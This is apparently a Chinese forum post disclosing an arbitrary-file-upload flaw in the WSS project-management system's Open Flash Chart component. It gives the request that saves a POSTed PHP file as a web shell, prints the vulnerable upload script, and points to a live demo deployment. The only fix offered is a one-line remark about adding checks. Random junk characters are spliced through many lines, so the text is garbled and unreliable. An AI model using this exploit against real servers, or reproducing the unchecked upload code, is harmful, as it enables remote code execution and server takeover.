WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

) u. @! V* S" [$ S( M: x+ X  M利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
% ]( S" w: P" s, f1 A& M
9 e7 z3 ~% |& R6 z$ gPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
1 h# \) ?3 B) t! V

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

, v5 u3 m, Y6 H! L. M: R$ X<?php
. R, j$ m/ Y4 W9 C% V) I
//
( E4 S/ c( |" p: o6 G  v// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
& W0 g, {6 N* A6 H5 B% d
  N7 |7 W+ M/ a+ h/*
1 a/ j% T% k4 `% D
print_r( $_GET );
$ l; T  C0 V5 rprint_r( $_POST );
; N, q' a: O2 Z2 V/ i% R9 \print_r( $_FILES );
* n) [6 l0 f' C7 K% m) O# q
print_r( $GLOBALS );
/ |4 \+ o' r' _+ g; Kprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

) C0 K: C0 T  R- J1 n5 G& c*/
// default path for the image to be stored //
4 [% q$ R, E  P5 |  N; \+ _$default_path = '../tmp-upload-images/';
5 F) _6 d1 a7 n: B- B5 _7 J
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
  E( N0 v/ j. D$ l9 B8 L0 W- y
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
  `/ {  O! S. A
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

% R( n1 r6 x& F% D5 Y: V//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
6 b9 \- N- @) _5 G// the raw bits into $HTTP_RAW_POST_DATA
//
! l& W- Z, v  n
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
: R/ ?& O2 \) R% g" s" H
5 T8 j' F$ {9 W, `0 `2 P' _//
. F: Y5 I4 v) w# L0 k// LOOK:
/ M: y9 _- o2 k; t* L8 a% {//
exit();
//
// PHP5:
//


! U- `' y2 {& o( u9 b( u) W( ?" |( ^& \// default path for the image to be stored //
/ L' I, y0 x# y7 D( T# u$default_path = 'tmp-upload-images/';

" {$ E( Z; U4 t! a/ M  pif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
8 Z9 l, k/ x7 N( e4 L
// move the image into the specified directory //
+ l& k+ A3 A7 M# wif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
1 @, L/ y1 D  a0 e; H/ c9 O    echo "FILE UPLOAD FAILED";
}


. t7 @. i7 Z7 a: O, `0 a?>
8 S1 r: |2 n3 A% E' o5 g# T5 v
) @2 W& w% H  w7 N* P: ~; g) I$ ]



  o9 |7 Z# z8 _5 G
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞



* i' h/ K! e' Y0 M" F
5 R5 Y. Q6 K' L; \